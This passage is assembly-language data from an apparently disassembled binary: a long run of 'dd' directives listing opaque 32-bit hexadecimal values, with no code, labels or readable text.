0D76BC1ACh, 0CEF4D6C5h dd 0D004534Eh, 1B1CCA18h, 642203B1h, 39B145C2h, 5A732329h dd 6A72BD45h, 2366A976h, 0CCFEE844h, 3068AB33h, 7BB0E6C8h dd 42222253h, 77795A96h, 9798AA97h, 3B6021E7h, 5AA8B58Dh dd 0E3062C7Bh, 498D4402h, 322E9129h, 4C14731h, 227ACCD7h dd 0CDB099D3h, 58C631EEh, 0CEF4FA92h, 0EEA29EDDh, 0ECC3777Bh dd 0EFD14A27h, 5813CA18h, 0A9B28741h, 0BBB9A98Fh, 5B372530h dd 499FCDAEh, 802084D5h dd 0B6B5DC03h, 0E39B79F4h, 407C0F5Bh, 3A4BEACCh, 0AD89CC5Eh dd 0ADEB3258h, 0E470A8C1h, 8584C318h, 7AE1EDCEh, 0A29D4F97h dd 6A480C6Dh, 0FE438438h, 5162FF96h, 9B89EEDDh, 0A897E0F1h dd 63F00ACh, 0D81A783Ah, 124AD7CEh, 55966798h, 472CA3D4h dd 7C249F39h, 8C40B106h, 0EB1BF583h, 0DDD44B25h, 0D072A55Fh dd 0E294275Eh, 0E590BD5Dh, 0CDE547B1h, 3B582D8h, 0F4A57092h dd 0EAE7B61Fh, 24F69736h, 63BD4957h, 0EC0F9C4h, 8C1402B7h dd 9FA47568h, 35E965Fh, 0B51F6CABh, 9D6835C2h, 2CE14457h dd 0ED0027AEh, 182CF3E7h, 88116C61h, 17441583h, 1AF5D0B1h dd 4428552Ch, 0E92A6E4Fh, 9CF07D3Dh, 39D8C3BBh, 6830633Fh dd 6D7D85E7h, 0F321C7ADh, 6A2170CBh, 6DB33134h, 0C3F697E3h dd 25136350h, 0A6814CBh, 5D3C8405h, 0D139D18Ch, 3DBA5AE3h dd 5A1F8B1Eh, 0E49AB1CFh, 0C8631EFEh, 63D8175Fh, 86C4CBB4h dd 0AF8253A3h, 60202E8Dh, 3D7A1A69h, 8CC38EDh, 0D18B8B44h dd 0A4F3D686h, 87C02CCEh, 649D97A3h, 0FCB80DFFh, 0C2E3906Bh dd 7BBE467Dh, 0B6CD2957h, 69EBBA7Ch, 434C5126h, 0FA86CD74h dd 4D96613Ah, 114E233Ch, 0F6D60F82h, 0FE908A99h, 0B9CC836h dd 6F0EAC19h, 0F8FE1CE3h, 4905AD03h, 93EA37F3h, 8ABB1625h dd 0F085F1ADh, 0A578788Eh, 9572EBF4h, 26390987h, 0D6471BB5h dd 2657279Ch, 2C37E7DEh, 81986CE6h, 0E8A56446h, 0F43B1B42h dd 3EF8C80Dh, 7EC9BDA7h, 0C1077C27h, 0D2F1270h, 10EAD7DAh dd 4B256AFDh, 0EAEEBDC7h, 96CB1CADh, 5B8B241Ch, 4A5F7685h dd 0BA5613CDh, 94911ED9h, 0D439F4AFh, 32F746E9h, 144E775Eh dd 2B1ECDF3h, 0E70160F4h, 27EE9A75h, 0CF507544h, 2AFA3086h dd 0C7A0341Ch, 1F800762h, 79E17E78h, 6C917C6Dh, 70A3C672h dd 7E2EB310h, 0BC2C9D35h, 0E6A63821h, 9B21EC2Ch, 4F55DBB4h dd 0E54684B8h, 0E75E8360h, 0F34EAEF6h, 5A3DD02Fh, 1E6A8506h dd 52273F62h, 0AC7DF949h, 31AE3EE7h, 0ADFE93Bh, 82EEF4Eh dd 0F85F9FD5h, 5AA71A9Ch, 0CC677545h, 9E85A80Eh, 0C937F577h dd 63468E37h, 0B13A76F6h, 6239FEB8h, 1107D249h, 0C26FE0A5h dd 9F704120h, 9E7CDDE2h, 0AE5611A3h, 0F17ADB27h, 0F1F6DCB1h dd 473EA9BCh, 42F12740h, 2C4CC362h, 21CFDE5Bh, 562AD7D5h dd 0AE94F930h, 73C789BDh, 28CBDE44h, 2439A94Bh, 0AA9DBBE9h dd 90A5E8h, 4EE56799h, 6FEC64h, 188F0965h, 5A63573h, 8E404E6Bh dd 0F1E71BF6h, 3CC1A730h, 223532CEh, 0B91F1299h, 0BC0A7F72h dd 0F0BAB786h, 0F6592B10h, 74D6E992h, 413CABA1h, 211032FDh dd 78C97BBh, 11E74F6Dh, 2FCD02EEh, 0E1DDB4D2h, 0CF82D2D8h dd 9FEE510Eh, 9C3D4EBEh, 0DE11FED2h, 407318A8h, 0F22373D9h dd 272D3E06h, 0B6770AE1h, 0B4E01A52h, 0BD728DECh, 0FBAFBF2Eh dd 649CFE24h, 84B123AFh, 8C51F6F9h, 0E9D26698h, 0B1D5E656h dd 0DFBAFFE5h, 0D49193FBh, 766770F8h, 210EA203h, 0F4D9F834h dd 957AA8F5h, 16A0FE6Eh, 2ACB0229h, 2C159295h, 76406F6Ch dd 0D0A0B663h, 513979A4h, 16C491A3h, 0EDD18DB6h, 0FC7E2D9Dh dd 0EB424913h, 122B2851h, 762DD0B0h, 0E5691040h, 0B410C526h dd 0E3AAE59Bh, 3405D2A3h, 0EE677D37h, 0B4327D48h, 862D9ED6h dd 47CAB5D6h, 3120DA23h, 0A7017C9Fh, 364AE4A8h, 29A9AFE2h dd 74CD7430h, 0DDA99Fh, 0DEC9D7C3h, 8C1101CEh, 0E5C844DEh dd 3E755DF7h, 0D59C99BBh, 626F97E2h, 0F2516A2Ah, 0A32C03EEh dd 0FEC955EAh, 0DD99227Fh, 1A19D8E1h, 0CB9E1FB0h, 94E75E07h dd 80655AE0h, 0DAA8394Eh, 0F7D9D368h, 0CC0D9A3Fh, 336E7DEAh dd 70E22220h, 0F2D315E0h, 6D27B304h, 541DD4C6h, 663C0596h dd 87EC605h, 0B100ACC5h, 0E5B7EBCFh, 27777F2Fh, 0ACD1C77Fh dd 0F5669DCFh, 0CABC262Eh, 0AA08038Fh, 312B6009h, 3BFA4318h dd 0EE732B6h, 0C7EB1191h, 6FF3EE3Ah, 30A13EE8h, 0E2694E51h dd 0A0A1DEE8h, 0C912F48Dh, 5DE81209h, 727C4CF3h, 6F796567h dd 3C2CEEAFh, 0BBE1CAECh, 4C478A0Fh, 0BB456118h, 0A18A60CEh dd 88369960h, 0D96233AEh, 799DE7D0h, 0B846F121h, 2AD2CC58h dd 0E03BFFC3h, 8894A5D0h, 7B2D6B2Fh, 4A0B3B35h, 1C303FB8h dd 0DF3BC1B6h, 2700D7E9h, 46FC2A2h, 47A22399h, 0D0421E62h dd 280E0B3Bh, 2F81144h, 40E83741h, 28B90FAh, 0F4881AD3h dd 0E7BFC1D8h, 0E2F10ED9h, 0AD139D20h, 5C2D0625h, 95F20297h dd 3C60C466h, 2F57D13h, 381E57E8h, 0F3F972BDh, 8A521D1Ch dd 0A10DD30Bh, 0C667D89Ch, 228E2FD0h, 99683504h, 0EC8CA42Dh dd 77643826h, 62569D0Ch, 3B2341DEh, 0F5241974h, 4C08FEF9h dd 4F12A69Ch, 8334138Dh, 3E0D3532h, 51A41E75h, 6623512Ah dd 332199F4h, 6B8169CBh, 0FC97CA57h, 6E4DD547h, 413327A5h dd 0EED3FD4Ch, 65C7AEF8h, 591BAC48h, 85930965h, 0A2819EA3h dd 8DBCF9C2h, 0FCC650Bh, 459AC019h, 86960BFEh, 77FE8F8Bh dd 838A5263h, 5876B1FAh, 0A6AD6464h, 49CAC33Ah, 6934B68Ah dd 0E9405F21h, 48EE0E8Dh, 32613877h, 31B01741h, 0CD72B6F5h dd 0B6C4B86Dh, 719158D1h, 0AA41EA2Eh, 8D7668C1h, 0A793300h dd 0EEE5ED6Fh, 0A7E9F3A1h, 75CAD7B9h, 0AE2D3AC5h, 606C29B8h dd 16675978h, 6FF9BB75h, 0DDC002AEh, 15117934h, 0BB75958h dd 11129AFEh, 8645BF8Dh, 0D4EC57D6h, 9EFE760h, 20F47E85h dd 960CBF75h, 0D85ACFEAh, 0BE82342h, 5320AD8Dh, 95199016h dd 315D6506h, 96B682F5h, 7716767Dh, 0C656666Dh, 9DAB7F64h dd 534B49A9h, 35C83A17h, 7A7EBDBCh, 7CB620CAh, 0AEFF1D63h dd 5BD916D6h, 9C12A9F0h, 0DF97BB68h, 202124Fh, 7BDE2EC4h dd 0E6C4B220h, 0CABEFD98h, 9A0E8C80h, 0D002488Ah, 8CF0F9F5h dd 8CA6E9D8h, 3CBCED08h, 59378AA4h, 4C671081h, 0F4F4E62Dh dd 36609C71h, 12AA88Ah, 0F2A09755h, 32E3F169h, 5F5D1C8Fh dd 0C1AF2FB3h, 0AE247FD4h, 0EA170473h, 0BD61B07Eh, 42B5344Dh dd 0E7E6C2F9h, 0F6E80F61h, 0F536785Bh, 6BC60611h, 0D5BC068Bh dd 48406CECh, 41278472h, 0FF92BADEh, 0B287A1F8h, 21157179h dd 2F4F1EBCh, 3FAAA4F7h, 74131EE6h, 0CE897E35h, 8464FB63h dd 0A6B2AE00h, 2995C728h, 24E8B289h, 0D0E41A99h, 0BC3E89AEh dd 75F0FA75h, 0F59B23BFh, 0FF826B1Dh, 0D0195A4Ch, 47BF1ED2h dd 6EB9A0C1h, 0D0A67AFFh, 0EC0EDFDEh, 1E7DFC94h, 0B30EFB3Eh dd 0E5292FBCh, 0C80CC6BAh, 771987B3h, 0EDEB02D5h, 2B723C2Fh dd 2D6CF12Eh, 39177E0h, 7171B9D0h, 3B97F96Dh, 46322E82h dd 84A77480h, 15DA44ABh, 0E132ECE8h, 82639965h, 0C4B88539h dd 53E5CF35h, 7FE2EF27h, 86626C18h, 0E7B704Fh, 2847858Ah dd 0ECDDD6D0h, 7477DB5Bh, 0F383DFCDh, 0F313131Bh, 0C8C91711h dd 480F06Fh, 6DB2BB82h, 0C521901Bh, 6C078CDEh, 0C2772D6Fh dd 4527A779h, 861546BDh, 0E42064EDh, 482A8563h, 3CEF5547h dd 75DC685Ah, 0DD081A29h, 355BE8D0h, 5C233C4Fh, 0ED0D1E50h dd 68469DC1h, 0B9A6FFA7h, 0D5CF68A7h, 985EBE48h, 615801FCh dd 42323D84h, 0BFC5585Bh, 3F0ADA76h, 1581B1D3h, 0D1C0267Bh dd 19BCD457h, 59705A3Ch, 6B96D352h, 0DC18BBADh, 1B5377DAh dd 5DB34B05h, 0BA09D49Dh, 52DC11E8h, 1ADEC99Fh, 6FF7A194h dd 0E50C8702h, 20436F7Fh, 0EAFCE1BCh, 4F7F7A6Eh, 0DCB89369h dd 5634C93h, 0BF25CC2h, 959F8CBDh, 0F33DD3F2h, 0AFEA5328h dd 0F9A7E28Eh dd 9601DC89h, 0A13BC3F3h, 26E73046h, 0A345F7C5h, 0AD235A97h dd 0B6133891h, 0B69A697Fh, 73F070F2h, 8D445E3h, 9EB81568h dd 0AC52D07Dh, 4EC55D5h, 4C43D76Fh, 0D817CF2h, 0D55A8DA3h dd 0E968E48Eh, 3FB6C761h, 79954077h, 73DF2F89h, 0B48E468Fh dd 5A5CA070h, 8F9CB6D2h, 0B21CD853h, 0B9794FC3h, 4016B3C0h dd 257E2A65h, 90AE529Eh, 0D88C7FACh, 3E4FDCFAh, 0DC674E66h dd 0D80D6ADFh, 7141BE5Ah, 70CBC129h, 0BB5D7A7Ah, 8C78C3BAh dd 854923F1h, 33A074ACh, 722FBD33h, 0EC9EAAB2h, 72007B44h dd 0AEB66089h, 5D3F720Eh, 3921FCEAh, 0DB9474C2h, 3B28B3DAh dd 8910D85Eh, 0C6A39CB5h, 0B63524FFh, 46E019BAh, 0CE9A804h dd 6CF61932h, 1C5422F6h, 9E0D188Eh, 230C26FFh, 0DAFBB9D5h dd 0FB5A2E90h, 0CC8610F2h, 8B482762h, 0F3A49653h, 5A0C871h dd 93E5714Ah, 0E50FD5ABh, 46565306h, 7ECF6C9Eh, 28412A31h dd 20B9EC65h, 0CE741D30h, 4A56999Ah, 0D0EE18C6h, 94A7C060h dd 0AFDE7685h, 0AA764086h, 0F24F52BDh, 71D2DFB9h, 0B8173BBEh dd 0DDCBC3F4h, 6EE56ED5h, 91928104h, 51C1D54Bh, 0CBDC4082h dd 0DB8D132Fh, 8F478CD9h, 0E356FEE2h, 0E2C709EAh, 0DA6B4E55h dd 6BFD11E2h, 0B167DE8Ah, 0E1F3A734h, 0E2F3E044h, 0FCD6D038h dd 0EC5B844h, 3EFEEF92h, 784BFA9h, 8476B7DCh, 45BBA373h dd 0D51BF7F2h, 0E17669CAh, 0BA4A1AD2h, 0B72D8D7h, 0A69F2314h dd 2DC6124Ah, 0EA088E62h, 966E1C3Dh, 0FF29DC83h, 0B29562BAh dd 0CEA79832h, 0F38A526Dh, 764AD203h, 97128413h, 3911273Ch dd 77E45985h, 8105CBBh, 84D1410Ah, 0E1A17BCEh, 0D4B482AAh dd 68D4D47h, 0B0E8ECA1h, 0C3468C60h, 0F7B76539h, 335E67F8h dd 16981198h, 0A9484976h, 0F2C2AF0h, 8E735841h, 0A8E04035h dd 5DCCEB50h, 6094BBEAh, 6C5BCBBh, 0C129E5E2h, 6121D8A9h dd 32B7C3DEh, 0D6264DACh, 7008E532h, 0B4A31BD4h, 2338225Eh dd 0CD91EBC9h, 0C0783E91h, 8ACB139Fh, 0BED89284h, 3791FC31h dd 3F1B6AA0h, 72106C19h, 9A1BA8C3h, 93B55A62h, 0BC85CE38h dd 4731800Ch, 8074B7F7h, 0C928A6ABh, 8D8FDD7Eh, 91011628h dd 9A123679h, 1D7455A0h, 3F6F3E9Ch, 9C2CF07Ch, 8DEB511Ch dd 27758ECFh, 0F0FEB5EAh, 739C785Bh, 3C12DF23h, 96DFD569h dd 0C5280AB3h, 94E933FFh, 6EA04E24h, 6ABB97A0h, 8D96152Ch dd 0AD9F2A92h, 9F389D28h, 1E960AE2h, 59368F4Dh, 57609F00h dd 0ED6FA4h, 0B377A578h, 0C41CC7Bh, 27CCDFD3h, 6B67720Fh dd 0D9A834E3h, 1D874CC2h, 44A97AC7h, 0C042E005h, 0B7DB24ABh dd 505FD100h, 599FF864h, 0E73EBEFEh, 0EC40BF94h, 92C762AEh dd 914B40F8h, 0FB9E8EFDh, 0C6FA87ACh, 5E4D645Bh, 0DD5AA4CFh dd 5B2272A9h, 53EBE317h, 789A0BB3h, 0EBC70D02h, 0B85D7198h dd 0F38181DFh, 0C309759Ch, 805F49FEh, 2B096302h, 79BC682Eh dd 7A957A4Ah, 0CBF4F24Bh, 7D31F1B1h, 866A0ADFh, 0E2316F9Eh dd 5E7584FCh, 286B7578h, 9C83FC0h, 0A9349B6Ch, 0F92943Dh dd 0E4FA8CD2h, 7E871012h, 0D75183B1h, 0FABD2102h, 8A6B95E4h dd 1AA2269Eh, 27D623Fh, 0B7BA5DE7h, 0C3C7FE18h, 4605309Bh dd 0BA4A4EE2h, 31A564DFh, 0F12C37C8h, 0D31984F0h, 0A83864B4h dd 6C862582h, 895E80CCh, 4C622FCh, 0A6DA0AE3h, 60932862h dd 93609250h, 145F8745h, 75CCA6Ch, 0F4A7665Bh, 0C29E240Ah dd 328411A8h, 86FB162Ch, 4AC357Dh, 6CE57279h, 627DF3C0h dd 56C13B6Fh, 9BB20081h, 0F71F6077h, 272379DEh, 0D3BE4FDBh dd 0A0082ABAh, 0C33C5778h, 364CE661h, 63B01AC3h, 0B1D38151h dd 574F71Ch, 85BD9271h, 8DE7B66Fh, 0BD6AA593h, 738212C6h dd 101B356Bh, 1DC0210Fh, 1CB2D4C5h, 25B934DAh, 0E7F49B36h dd 0C1B00D15h, 36C80963h, 3A483752h, 38E204BCh, 0E9B26601h dd 0A205190Ah, 0E69DA68Fh, 8B281D08h, 90BF5C6h, 8C910ED1h dd 1ED9BF9Bh, 3D44F993h, 9AFD8AD7h, 3A1D7137h, 942B797Ah dd 0DD344F93h, 65E167C2h, 0E7467A51h, 62451CB0h, 0B91B5E23h dd 0C0642EEBh, 3DF1EDDFh, 9ED0E009h, 3DC7931Ch, 8CF556D3h dd 2CACEE63h, 1A3BB98h, 2541D928h, 0B109A5Dh, 0B102E819h dd 4D75DD99h, 84817B34h, 0F9B19652h, 49705037h, 52B32D80h dd 622C144Eh, 0E4083345h, 0B06DBB15h, 0E11CF09Eh, 0C4D4B33Dh dd 13465B29h, 92EB3042h, 0A82B3A79h, 5489E15Fh, 0BD01ED42h dd 0CB8C4C5Fh, 6C5F05B8h, 0C0C5A993h, 0EC9C1F96h, 0D710AE8Dh dd 7B1C4D76h, 0B6CB40F8h, 6DDE5247h, 16A33A1Ch, 1A35AF43h dd 7E30EBB1h, 9A16126Eh, 661FB3A2h, 0F980E016h, 16E21E76h dd 0D97578D5h, 9ADA70AAh, 5811D4FAh, 685E3D15h, 28C8BE05h dd 8A887C20h, 797DA6F6h, 0F4476DCEh, 0D9D9D33h, 450DD209h dd 0CE19DF7Dh, 70396556h, 2AC6420Eh, 9E3547C4h, 0F0B1EE70h dd 13A1C7FBh, 42FE634Dh, 0A0940188h, 78209C31h, 0E965ACE9h dd 0AAFCA1A6h, 8EFB7A5Fh, 4B30FCDh, 0CCBB45BFh, 8749B43h dd 87114E99h, 68C0F0ECh, 64E881E9h, 1905BE6Ah, 3C7C4F6Ah dd 2A3CD5Fh, 5C3CE93Ah, 8FD2C1F9h, 59D7B778h, 0CB2BDEEDh dd 0F7D658Ch, 9490E983h, 175F54DAh, 90FEDED0h, 8B918920h dd 0F3821EAEh, 0FC8B33C9h, 6D60A64Ch, 0FCC48B31h, 83425834h dd 4526B3BEh, 0DBEE6859h, 0AE7AF19Ch, 65CEF0Eh, 32CE3241h dd 90432C91h, 45604B49h, 8495CD59h, 0C4A977E4h, 85F52C55h dd 0FF52EAF0h, 0A518B446h, 0C43E14F5h, 0D7430549h, 69746E6h dd 0FF431762h, 9D5A1999h, 0D718ABADh, 0FA6A80E4h, 0E135A15Ch dd 924EB5F0h, 0ABE41D9Ah, 16C56E7Fh, 0BB96CCABh, 0A18248A7h dd 0EE644DBBh, 7774AC9Ch, 25D44E3Fh, 11C7B344h, 0E6C751E7h dd 9D671801h, 0DE3246A1h, 5501A08Ch, 68D7BFD2h, 0FE2F3EDh dd 86614DFAh, 533C87E3h, 89CA246Bh, 5E1312A9h, 0F131128Ah dd 0BC8D6E08h, 0E63B27A6h, 0B157E570h, 0BF86FA6Dh, 1F299C04h dd 818A5EBAh, 1006D76Bh, 0FB7109C9h, 0FB94924Ch, 0F535814Dh dd 0B71C45BCh, 999B50D8h, 788987A3h, 0B1C5F3CAh, 5D764B38h dd 9098F183h, 0AD83000h, 0E7BC6BE8h, 5A6E7BD9h, 973D260Eh dd 31BE24AAh, 0AA3DACD1h, 35A556C9h, 0C7E46506h, 0B024B954h dd 2EFF75ABh, 400333B6h, 8B304F74h, 746D8F11h, 0A768037Ch dd 34412A9h, 0A301247Ah, 0C3FEA431h, 9EF88B22h, 0F68509ADh dd 0F00486B8h, 0CA75D314h, 78B72BDFh, 0C064E51h, 8860A02Eh dd 583652BFh, 9004A5EBh, 0C7DD07FBh, 148BDBCh, 0DAB634F6h dd 44DE33B2h, 51E2C56Ch, 0AD401CC9h, 38060544h, 3776AB0Eh dd 0F7C12713h, 10086588h, 387837C5h, 0F8F4BE08h, 0A87D22E9h dd 9862DF2Ah, 390CF53Ch, 282194Eh, 7F1B6E25h, 4B3D6573h dd 0CA44DCDBh, 2B036DD4h, 164BE24Fh, 0EC184CD4h, 27300DB0h dd 36EE4752h, 9E4AFFACh, 35B2BF21h, 465EA67Ah, 86ED8E79h dd 124CC75Eh, 0EB9919FAh, 8B96E1Dh, 6353BA98h, 0DCD0965Ah dd 0D75550F9h, 0CDFEA42Dh, 68C7D856h, 0C0329F9Eh, 4FD45CBEh dd 6CB0259h, 7D37AD97h, 5E75AEB1h, 297E8A51h, 547A876Bh dd 57C7631Bh, 297999CBh, 7348FC10h, 0F6D9426Ah, 0C6C2CA48h dd 492415CEh, 0E95B8874h, 0C78E6951h, 0DF78C67Dh, 35B8F927h dd 8A7F6850h, 7B72D0Ah, 0D167A5F4h, 0E57D107Dh, 0DAB716DBh dd 0FBEF9409h, 6831052Ah, 0F7C1CBC2h, 0CB2EEBC1h, 69C2C0A5h dd 3B653B0Ah, 0D1B17609h dd 0DC021CA2h, 5071B917h, 89457989h, 0EDA8548Ah, 54DCF536h dd 0FC243CB6h, 0B8D24306h, 5DBA4CB9h, 97FC6B2Ch, 5E8AE944h dd 81E2570Fh, 0D176CF9Ch, 8F87BA35h, 75BE784Ah, 5B0C2A19h dd 609879C6h, 342A91D2h, 27EDB885h, 251155CFh, 9A23D4AAh dd 48BDA1B1h, 15343571h, 7C68CB2Eh, 8082F7AFh, 19875AD0h dd 5EF33554h, 99178216h, 0AFE94FA2h, 0DB9D005Fh, 955553D0h dd 95E64930h, 7467E460h, 53E665D9h, 0C573E95Bh, 0A6987143h dd 0CDAB7CCEh, 8763B57Ah, 3381B20Fh, 0C048A884h, 76FE1787h dd 0B30033D2h, 0FDC8D409h, 0DBB81253h, 0EA395153h, 0CD021E30h dd 75100929h, 16181664h, 0DFD02403h, 4F839DA1h, 0D751FCA7h dd 3336C516h, 442B499Fh, 0B2FFD9A4h, 85312849h, 99BC2BFEh dd 0CAD4F3Bh, 0B683ED5Bh, 976B07FEh, 2C5350EDh, 43CDEF60h dd 0A9D16B33h, 21ECD6B3h, 218CF3F5h, 35E29CC3h, 0A2508A35h dd 0DED56749h, 10FD818h, 61454573h, 0BEC1467Dh, 2C5F6702h dd 31D09858h, 7508ACD4h, 2CB8FDAFh, 0E9D68AFDh, 0C0466ABBh dd 0D9CA1748h, 977E144Ah, 6CEAFAh, 0BAF08B92h, 5AF81A2Eh dd 0E5D47163h, 87D721A4h, 2F98F4FAh, 967C5040h, 642364E2h dd 1FC5710Dh, 4D2DAA93h, 8370AA02h, 0AE37466Fh, 2316EF36h dd 0C6196815h, 0ECB4E19Eh, 0F70CAC5Ch, 0F9525CA6h, 5900DE92h dd 0FF8CD519h, 0F8A1A090h, 0FE6734D4h, 0E351D8CEh, 0F34CCA66h dd 5398D1B1h, 0EBD4ECF5h, 4A09911Fh, 0F193E670h, 0A38A8166h dd 64429CC3h, 1ECE5A90h, 0A8EB2187h, 87221AD1h, 0B0A021CDh dd 0D08D1634h, 320100C5h, 0BA56E65Eh, 0E9FEFFDCh, 33D29FD7h dd 0F8395F4Ch, 0C8D68A2Bh, 0C9A76D43h, 0D5A8B43h, 52EEA3C8h dd 0B7C5B9B5h, 0DFDB34F8h, 0CF2D6E75h, 3051F54Ch, 5024E78Ch dd 0A29849AAh, 0A64FF4C2h, 0F8229E1Bh, 0C57A021Ah, 0DDE91801h dd 31342F3Dh, 0AAD41D22h, 0C0EC37F6h, 0EF5FE177h, 0C78369C9h dd 0F7A51FD7h, 6D2C96BDh, 0DCAF7915h, 0CC93D7B0h, 5D86EF3h dd 4253F4DBh, 48D5D242h, 0D70B3E69h, 7EC086B5h, 67A1E80h dd 0F90C2FF5h, 0E95A8DA5h, 1C9953FEh, 41D240E5h, 0CB60FD99h dd 0A714ED19h, 3E758DE3h, 63B7ED3Eh, 530BBCEEh, 7C7BCFEFh dd 0E18F4B75h, 6C3C1EE6h, 86E44B02h, 0BCEEAA22h, 27001F22h dd 0C2E05484h, 8446DDA4h, 0E7EEA193h, 0D4D3E005h, 90510B60h dd 3B3DA3Ch, 0BB0D0AEAh, 8E3E08E7h, 1D195040h, 5992920Ch dd 2FB0C292h, 0D58784B1h, 70C63E36h, 0EFD8AC79h, 539FB9E4h dd 940E8BE1h, 6175D1DBh, 67703A40h, 57797A25h, 4A5B424Fh dd 89F9A686h, 39316F02h, 63997A4h, 0EFBBB183h, 70334C90h dd 34652F18h, 0A9DD5B8h, 0C75EF3B1h, 7DC83CA1h, 0E9F62D0Bh dd 9F9A3D2Eh, 16523C83h, 73939D75h, 76D10399h, 9DF25904h dd 0EF635CB4h, 5237C3D9h, 0B6C836BBh, 94A7228Ah, 0BB7072C4h dd 97F491Ah, 0D9476092h, 0C32F1F9Bh, 841DE912h, 0A388DE4Bh dd 2458811h, 0CDB82AE3h, 0D605C8D4h, 9B3EF124h, 8BCE215Dh dd 0DBD01DE4h, 315D71B7h, 466C659Fh, 7C518457h, 96A60831h dd 3F29A40Fh, 1C4C7AAh, 7C72F70Dh, 0A7BC47C6h, 56DA8CB4h dd 7BFFEA96h, 3267F1D9h, 61B48889h, 7EE52B15h, 1F05258Bh dd 0A567561Fh, 0AFCCC649h, 26F890B9h, 0E6C64AEDh, 0D55F39E3h dd 0C17EF574h, 0B2750350h, 32BFC126h, 55568105h, 0D31BF6B2h dd 0F9174660h, 0CE2C6B43h, 7C30542Ch, 0C009B438h, 69F83FD2h dd 9F28D776h, 0D50C59BDh, 0C31C3950h, 1BACEEABh, 0DA9A319Fh dd 0F41C6ECBh, 4D5A7ABh, 96CB949Dh, 1BAF9178h, 97F5C1DFh dd 0FD9B5ACEh, 5D71FE82h, 71CCF44Eh, 0D17B1D1Fh, 91CFEB4h dd 6D4D41F6h, 0E4C5C305h, 7B794541h, 5CD0D027h, 2ED38F76h dd 4157EE28h, 0D74ABC9Bh, 0E42DB63Eh, 0B76F7C75h, 83B211EBh dd 457AD7EAh, 4771D22Bh, 0B76FAF98h, 3763ECE8h, 0CE320B19h dd 0D1EE292Bh, 0F210AEFAh, 0BE93592Ch, 0D27C1D4Dh, 0D1B32440h dd 91D0EABEh, 39AF2B8h, 0F0C220D2h, 0AEB16950h, 3F60DCA5h dd 0B9226E08h, 0D2FC16BBh, 0C8366204h, 33A98677h, 7730A413h dd 1DC093AFh, 0F8B82702h, 0AFF788Fh, 606B7B67h, 5CA0B879h dd 0DB7C97EDh, 66833483h, 0BCA49B5Ah, 8461D7D7h, 580DF8E0h dd 26FCB75Fh, 4F60E518h, 26C288BFh, 10226875h, 0B6BECF84h dd 0AD38081Fh, 349A7C17h, 0D1A6F9FAh, 5DE36698h, 8EA2878Fh dd 88C01045h, 84CBA874h, 6CAC0EFh, 0D40C82A9h, 0AE7B2556h dd 0F0F22EBEh, 0D5B1A524h, 100A3964h, 8D1CD4C4h, 87133856h dd 8D40A0DFh, 94F51E0Fh, 5ECA68D6h, 298C2E73h, 5FA2C3ABh dd 832A26B5h, 98770AB9h, 0AF0C3E13h, 0D66C9FA8h, 4C6E8D3Dh dd 0DB7A39C1h, 6435DDC9h, 0A677B696h, 7BF94506h, 85611CF7h dd 43745561h, 2E04F7FAh, 0A692CBAFh, 670D35F8h, 8D40BC26h dd 0FA7D2660h, 53FD1302h, 8057E0BCh, 0CB0A13CEh, 8AB298B0h dd 37CE490h, 14370095h, 0FCA050FBh, 48D99AE2h, 2201982Dh dd 0B8AB943Ch, 63897622h, 0EC645430h, 82EC3ACFh, 0CB3C125h dd 849E5F33h, 84EA84D3h, 257CDEB9h, 0D3A38F74h, 1EC40444h dd 36877F86h, 0BEA28F29h, 0BC721BC1h, 12A77B86h, 0ED13D44Dh dd 4948F2E1h, 6BB65A11h, 0CB5BA1ECh, 357CEBBFh, 85E2685Ah dd 0A48440CFh, 0D7811734h, 8F13FC28h, 4DDCE72Bh, 70C70306h dd 9B9AE5FCh, 329E7C21h, 708E8A55h, 49CDF846h, 0EA024820h dd 560AC392h, 6A72E4DDh, 0EC70E6F9h, 8B974076h, 0BDBC9731h dd 637B8AC3h, 0D663A235h, 5B523984h, 99312910h, 3C890439h dd 0EA53621Eh, 0D4A21527h, 7DD01DDFh, 49C08C28h, 9A41913Bh dd 2452BA34h, 0A1DC996h, 20DC14A3h, 0EB232986h, 0E2306BAh dd 2A07F624h, 87380156h, 3461376Ch, 0F5206976h, 4D20CED2h dd 0FCA28757h, 6215B60Eh, 3BB7FADFh, 34290570h, 8306A0BCh dd 5D3A863Eh, 0E75C855h, 0EA4C0F0Eh, 0C20C8457h, 10623371h dd 1D672C5Eh, 0BCBD7B78h, 7121EDC3h, 5DB61184h, 0C4455CE0h dd 98CF63D3h, 0F5A078Eh, 267C06DFh, 872710F8h, 0BF837E63h dd 0C8263B06h, 21A9B3EEh, 42507A3Ah, 7E57F673h, 0B350C566h dd 0BEA04445h, 25F80B7Ah, 6F2733EEh, 423FB804h, 0F5B5CA3Ah dd 6016DECAh, 4FD6AB2Dh, 62DFFEBEh, 111C5283h, 34775A19h dd 4301689Ch, 0BB052CC9h, 0F31380DFh, 8ECAE626h, 0D39D8503h dd 569A53EFh, 10BA0536h, 84FDA60Bh, 451FBDE2h, 499A74CAh dd 0C45DE5A1h, 0F0A8F425h, 805F1EA8h, 6D98FA95h, 6C007AB5h dd 0E3D2246Dh, 0D510D494h, 4069AE02h, 0E7DACBB4h, 0F26E6947h dd 7F3FDCAAh, 50B21200h, 0F4C2A185h, 0F3E32B50h, 9D77B233h dd 7B751615h, 0EA9BA023h, 5E4DE8C1h, 1FC71755h, 0F4D18C61h dd 3F0CE02Bh, 9FC8C261h, 9121276Eh, 0F4CB3410h, 39141C8Ch dd 7C907DD7h, 33B5C05h, 19D98D8Ah, 91D8B3EDh, 0FE490E4h dd 0F68055E3h, 62B9C07Ch, 22384551h, 45AD643Fh, 0E6B0279Fh dd 26DA0391h, 18511FF9h, 0B70C228Ch, 38BB98F4h, 0B1CAFBD1h dd 87DEC69Dh, 0DD15315Ah, 5B55CF14h, 0E8285977h, 58539226h dd 3E920E7Fh, 62912B26h, 0DCB3F3E1h, 0B01358Ah, 3ABE2FC0h dd 0FDEDB4F6h, 4642FFCAh, 0FCBEC0F7h, 0C0E88B9Ch, 841CAD84h dd 7521FFB8h, 332463DBh, 6E207696h, 0CD74F089h, 0CF5A1AF7h dd 0A68A3E78h, 8968748Eh, 0CFA37265h, 0E58266BAh, 5441E29Ah dd 0B78F05BBh, 0E68F23A5h dd 793E97FEh, 1E67129Bh, 1C63D490h, 50D1E637h, 8403EC92h dd 0C39259F8h, 70EA408Ch, 0E5B3BCFAh, 24437323h, 7D756C68h dd 2AEDB62Dh, 0B4520BA9h, 97C90091h, 7804349Dh, 973288BFh dd 227276FEh, 0F5446AC9h, 94D6AA34h, 6B0BAC03h, 191CB242h dd 3AB0EFC2h, 